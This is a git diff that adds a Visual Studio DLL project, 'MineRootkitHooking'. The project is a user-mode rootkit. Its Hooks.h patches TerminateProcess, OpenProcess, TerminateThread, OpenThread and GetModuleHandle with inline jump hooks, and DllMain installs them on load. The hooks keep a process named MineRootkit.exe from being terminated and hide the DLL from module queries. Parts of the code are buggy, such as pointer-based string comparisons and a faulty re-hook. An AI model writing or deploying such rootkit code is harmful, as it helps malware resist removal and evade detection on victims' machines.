diff --git a/MineRootkitHooking.sln b/MineRootkitHooking.sln new file mode 100644 index 0000000..4400930 --- /dev/null +++ b/MineRootkitHooking.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.31624.102 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "MineRootkitHooking", "MineRootkitHooking.vcxproj", "{18DEF12E-67C5-45AF-BA27-91D9DAD183CB}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {18DEF12E-67C5-45AF-BA27-91D9DAD183CB}.Debug|x64.ActiveCfg = Debug|x64 + {18DEF12E-67C5-45AF-BA27-91D9DAD183CB}.Debug|x64.Build.0 = Debug|x64 + {18DEF12E-67C5-45AF-BA27-91D9DAD183CB}.Debug|x86.ActiveCfg = Debug|Win32 + {18DEF12E-67C5-45AF-BA27-91D9DAD183CB}.Debug|x86.Build.0 = Debug|Win32 + {18DEF12E-67C5-45AF-BA27-91D9DAD183CB}.Release|x64.ActiveCfg = Release|x64 + {18DEF12E-67C5-45AF-BA27-91D9DAD183CB}.Release|x64.Build.0 = Release|x64 + {18DEF12E-67C5-45AF-BA27-91D9DAD183CB}.Release|x86.ActiveCfg = Release|Win32 + {18DEF12E-67C5-45AF-BA27-91D9DAD183CB}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {6FCCCA06-2CC9-46D2-93E3-075206F70365} + EndGlobalSection +EndGlobal diff --git a/MineRootkitHooking/Hooks.h b/MineRootkitHooking/Hooks.h new file mode 100644 index 0000000..e9c83d4 --- /dev/null +++ b/MineRootkitHooking/Hooks.h @@ -0,0 +1,183 @@ +#include +#include +#include +#include +#include +#include + +FARPROC OpenProcessAddr = GetProcAddress(GetModuleHandle(L"kernelbase.dll"), "OpenProcess"); +FARPROC TerminateThreadAddr = GetProcAddress(GetModuleHandle(L"kernelbase.dll"), "TerminateThread"); +FARPROC OpenThreadAddr = GetProcAddress(GetModuleHandle(L"kernelbase.dll"), "OpenThread"); +FARPROC NtQueryInformationProcessAddr = GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationProcess"); + +bool Hook(void* src, void* dst, int len) +{ + if (len < 5) return false; + DWORD curProtection; + VirtualProtect(src, len, PAGE_EXECUTE_READWRITE, &curProtection); + memset(src, 0x90, len); + uintptr_t relativeAddress = ((uintptr_t)dst - (uintptr_t)src) - 5; + *(BYTE*)src = 0xE9; + *(uintptr_t*)((uintptr_t)src + 1) = relativeAddress; + DWORD temp; + VirtualProtect(src, len, curProtection, &temp); + return true; +} + +BOOL _stdcall HookedTerminateProcess(HANDLE hProcess, UINT uExitCode) +{ + FARPROC TerminateProcessAddr = GetProcAddress(GetModuleHandleA("kernelbase.dll"), "TerminateProcess"); + WCHAR processExecutablePath[MAX_PATH + 1] = { 0 }; + DWORD processExecutablePathSize = MAX_PATH; + if (!QueryFullProcessImageNameW(hProcess, PROCESS_NAME_NATIVE, processExecutablePath, &processExecutablePathSize)) + { + Hook(TerminateProcess, TerminateProcessAddr, 5); + BOOL Result = TerminateProcess(hProcess, uExitCode); + Hook(TerminateProcess, HookedTerminateProcess, 5); + return Result; + } + + if (!wcsstr(processExecutablePath, L"MineRootkit.exe")) + { + Hook(TerminateProcess, TerminateProcessAddr, 5); + BOOL Result = TerminateProcess(hProcess, uExitCode); + Hook(TerminateProcess, HookedTerminateProcess, 5); + return Result; + } + else + { + SetLastError(ERROR_ACCESS_DENIED); + return 0; + } +} + +void HookTerminateProcess() +{ + Hook(TerminateProcess, HookedTerminateProcess, 5); +} + +DWORD GetMineRootkitPID() +{ + HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL); + PROCESSENTRY32 pEntry; + pEntry.dwSize = sizeof(pEntry); + BOOL hRes = Process32First(hSnapShot, &pEntry); + while (hRes) + { + _bstr_t b(pEntry.szExeFile); + if (strcmp(b, "MineRootkit.exe") == 0) + { + return (DWORD)pEntry.th32ProcessID; + } + hRes = Process32Next(hSnapShot, &pEntry); + } +} + +HANDLE __stdcall HookedOpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId) +{ + if (dwProcessId == GetMineRootkitPID() && dwDesiredAccess == PROCESS_TERMINATE | PROCESS_VM_OPERATION) + { + SetLastError(ERROR_ACCESS_DENIED); + return 0; + } + else + { + Hook(OpenProcess, OpenProcessAddr, 5); + HANDLE ProcessHandle = OpenProcess(dwDesiredAccess, bInheritHandle, dwProcessId); + Hook(OpenProcess, HookedOpenProcess, 5); + return ProcessHandle; + } +} + +void HookOpenProcess() +{ + Hook(OpenProcess, HookedOpenProcess, 5); +} + +FARPROC GetModuleHandleAReal = GetProcAddress(GetModuleHandle(L"kernelbase.dll"), "GetModuleHandleA"); +FARPROC GetModuleHandleWReal = GetProcAddress(GetModuleHandle(L"kernelbase.dll"), "GetModuleHandleW"); + +HMODULE __stdcall HookedGetModuleHandleA(LPCSTR lpModuleName) +{ + if (lpModuleName == "MineRootkitHooking.dll") + { + SetLastError(ERROR_MOD_NOT_FOUND); + return 0; + } + else + { + Hook(GetModuleHandleA, GetModuleHandleAReal, 5); + HMODULE Result = GetModuleHandleA(lpModuleName); + Hook(GetModuleHandleA, HookedGetModuleHandleA, 5); + return Result; + } +} + +HMODULE __stdcall HookedGetModuleHandleW(LPCWSTR lpModuleName) +{ + if (lpModuleName == L"MineRootkitHooking.dll") + { + SetLastError(ERROR_MOD_NOT_FOUND); + return 0; + } + else + { + Hook(GetModuleHandleW, GetModuleHandleWReal, 5); + HMODULE Result = GetModuleHandleW(lpModuleName); + Hook(GetModuleHandleW, HookedGetModuleHandleW, 5); + return Result; + } +} + +void HookGetModuleHandle() +{ + Hook(GetModuleHandleA, HookedGetModuleHandleA, 5); + Hook(GetModuleHandleW, HookedGetModuleHandleW, 5); +} + +BOOL _stdcall HookedTerminateThread(HANDLE hThread, DWORD dwExitCode) +{ + if (GetProcessIdOfThread(hThread) == GetMineRootkitPID()) + { + SetLastError(ERROR_ACCESS_DENIED); + return false; + } + else + { + Hook(TerminateThread, TerminateThreadAddr, 5); + BOOL Result = TerminateThread(hThread, dwExitCode); + Hook(TerminateThread, TerminateThreadAddr, 5); + return Result; + } +} + +void HookTerminateThread() +{ + Hook(TerminateThread, HookedTerminateThread, 5); +} + +HANDLE __stdcall HookedOpenThread(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId) +{ + Hook(OpenThread, OpenThreadAddr, 5); + HANDLE ThreadHandle = OpenThread(PROCESS_QUERY_INFORMATION, false, dwThreadId); + DWORD PIDOfThread = GetProcessIdOfThread(ThreadHandle); + CloseHandle(ThreadHandle); + Hook(OpenThread, HookedOpenThread, 5); + if (PIDOfThread == GetMineRootkitPID()) + { + SetLastError(ERROR_ACCESS_DENIED); + return 0; + } + else + { + Hook(OpenThread, OpenThreadAddr, 5); + HANDLE ThreadHandle = OpenThread(dwDesiredAccess, bInheritHandle, dwThreadId); + Hook(OpenThread, HookedOpenThread, 5); + return ThreadHandle; + } +} + +void HookOpenThread() +{ + Hook(OpenThread, HookedOpenThread, 5); +} \ No newline at end of file diff --git a/MineRootkitHooking/MineRootkitHooking.vcxproj b/MineRootkitHooking/MineRootkitHooking.vcxproj new file mode 100644 index 0000000..8bafe44 --- /dev/null +++ b/MineRootkitHooking/MineRootkitHooking.vcxproj @@ -0,0 +1,176 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {18def12e-67c5-45af-ba27-91d9dad183cb} + MineRootkitHooking + 10.0 + + + + DynamicLibrary + true + v142 + Unicode + + + DynamicLibrary + false + v142 + true + Unicode + + + DynamicLibrary + true + v142 + Unicode + + + DynamicLibrary + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;MINEROOTKITHOOKING_EXPORTS;_WINDOWS;_USRDLL;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) + true + Use + pch.h + MultiThreaded + + + Windows + true + false + + + + + Level3 + true + true + true + WIN32;NDEBUG;MINEROOTKITHOOKING_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + Use + pch.h + + + Windows + true + true + true + false + + + + + Level3 + true + _DEBUG;MINEROOTKITHOOKING_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + Use + pch.h + MultiThreaded + Disabled + EnableFastChecks + + + Windows + true + false + Ntdll.lib;%(AdditionalDependencies) + + + + + Level3 + true + true + true + NDEBUG;MINEROOTKITHOOKING_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + Use + pch.h + + + Windows + true + true + true + false + + + + + + + + + + + + Create + Create + Create + Create + + + + + + \ No newline at end of file diff --git a/MineRootkitHooking/MineRootkitHooking.vcxproj.filters b/MineRootkitHooking/MineRootkitHooking.vcxproj.filters new file mode 100644 index 0000000..f405e41 --- /dev/null +++ b/MineRootkitHooking/MineRootkitHooking.vcxproj.filters @@ -0,0 +1,39 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Header Files + + + Header Files + + + Source Files + + + Source Files + + + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git a/MineRootkitHooking/MineRootkitHooking.vcxproj.user b/MineRootkitHooking/MineRootkitHooking.vcxproj.user new file mode 100644 index 0000000..0f14913 --- /dev/null +++ b/MineRootkitHooking/MineRootkitHooking.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/MineRootkitHooking/TerminateProcess.h b/MineRootkitHooking/TerminateProcess.h new file mode 100644 index 0000000..50e9667 --- /dev/null +++ b/MineRootkitHooking/TerminateProcess.h @@ -0,0 +1 @@ +#pragma once diff --git a/MineRootkitHooking/dllmain.cpp b/MineRootkitHooking/dllmain.cpp new file mode 100644 index 0000000..3926412 --- /dev/null +++ b/MineRootkitHooking/dllmain.cpp @@ -0,0 +1,15 @@ +#include "pch.h" +#include "Hooks.h" + +BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) +{ + if (ul_reason_for_call == DLL_PROCESS_ATTACH) + { + HookTerminateProcess(); + HookGetModuleHandle(); + HookOpenProcess(); + HookTerminateThread(); + HookOpenThread(); + } + return true; +} \ No newline at end of file diff --git a/MineRootkitHooking/framework.h b/MineRootkitHooking/framework.h new file mode 100644 index 0000000..a9744f8 --- /dev/null +++ b/MineRootkitHooking/framework.h @@ -0,0 +1,5 @@ +#pragma once + +#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers +// Windows Header Files +#include diff --git a/MineRootkitHooking/pch.cpp b/MineRootkitHooking/pch.cpp new file mode 100644 index 0000000..91c22df --- /dev/null +++ b/MineRootkitHooking/pch.cpp @@ -0,0 +1,5 @@ +// pch.cpp: source file corresponding to the pre-compiled header + +#include "pch.h" + +// When you are using pre-compiled headers, this source file is necessary for compilation to succeed. diff --git a/MineRootkitHooking/pch.h b/MineRootkitHooking/pch.h new file mode 100644 index 0000000..04ff4c2 --- /dev/null +++ b/MineRootkitHooking/pch.h @@ -0,0 +1,13 @@ +// pch.h: This is a precompiled header file. +// Files listed below are compiled only once, improving build performance for future builds. +// This also affects IntelliSense performance, including code completion and many code browsing features. +// However, files listed here are ALL re-compiled if any one of them is updated between builds. +// Do not add files here that you will be updating frequently as this negates the performance advantage. + +#ifndef PCH_H +#define PCH_H + +// add headers that you want to pre-compile here +#include "framework.h" + +#endif //PCH_H